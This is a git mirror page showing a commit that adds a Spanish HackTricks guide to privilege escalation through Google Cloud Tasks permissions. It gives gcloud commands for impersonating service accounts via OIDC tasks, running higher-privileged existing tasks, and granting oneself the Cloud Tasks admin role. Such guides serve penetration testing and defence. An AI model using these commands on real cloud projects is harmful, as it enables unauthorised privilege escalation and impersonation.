mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 13:05:19 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,45 @@
|
||||
# GCP - Cloud Tasks Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Tasks
|
||||
|
||||
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Un atacante con estos permisos puede **suplantar otras cuentas de servicio** al crear tareas que se ejecutan con la identidad de la cuenta de servicio especificada. Esto permite enviar **solicitudes HTTP autenticadas a servicios de Cloud Run o Cloud Functions protegidos por IAM**.
|
||||
```bash
|
||||
gcloud tasks create-http-task \
|
||||
task-$(date '+%Y%m%d%H%M%S') \
|
||||
--location us-central1 \
|
||||
--queue <queue_name> \
|
||||
--url 'https://<service_name>.us-central1.run.app' \
|
||||
--method POST \
|
||||
--header 'X-Hello: world' \
|
||||
--body-content '{"hello":"world"}' \
|
||||
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||
```
|
||||
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||
|
||||
Un atacante con estos permisos puede **ejecutar tareas programadas existentes** sin tener permisos sobre la cuenta de servicio asociada con la tarea. Esto permite ejecutar tareas que fueron creadas previamente con cuentas de servicio de mayor privilegio.
|
||||
```bash
|
||||
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||
```
|
||||
El principal que ejecuta este comando **no necesita el permiso `iam.serviceAccounts.actAs`** en la cuenta de servicio de la tarea. Sin embargo, esto solo permite ejecutar tareas existentes; no otorga la capacidad de crear o modificar tareas.
|
||||
|
||||
### `cloudtasks.queues.setIamPolicy`
|
||||
|
||||
Un atacante con este permiso puede **otorgarse a sí mismo u otros principales roles de Cloud Tasks** en colas específicas, lo que podría escalar a `roles/cloudtasks.admin`, que incluye la capacidad de crear y ejecutar tareas.
|
||||
```bash
|
||||
gcloud tasks queues add-iam-policy-binding \
|
||||
<queue_name> \
|
||||
--location us-central1 \
|
||||
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||
--role roles/cloudtasks.admin
|
||||
```
|
||||
Esto permite al atacante otorgar permisos de administrador completos de Cloud Tasks en la cola a cualquier cuenta de servicio que controlen.
|
||||
|
||||
## Referencias
|
||||
|
||||
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user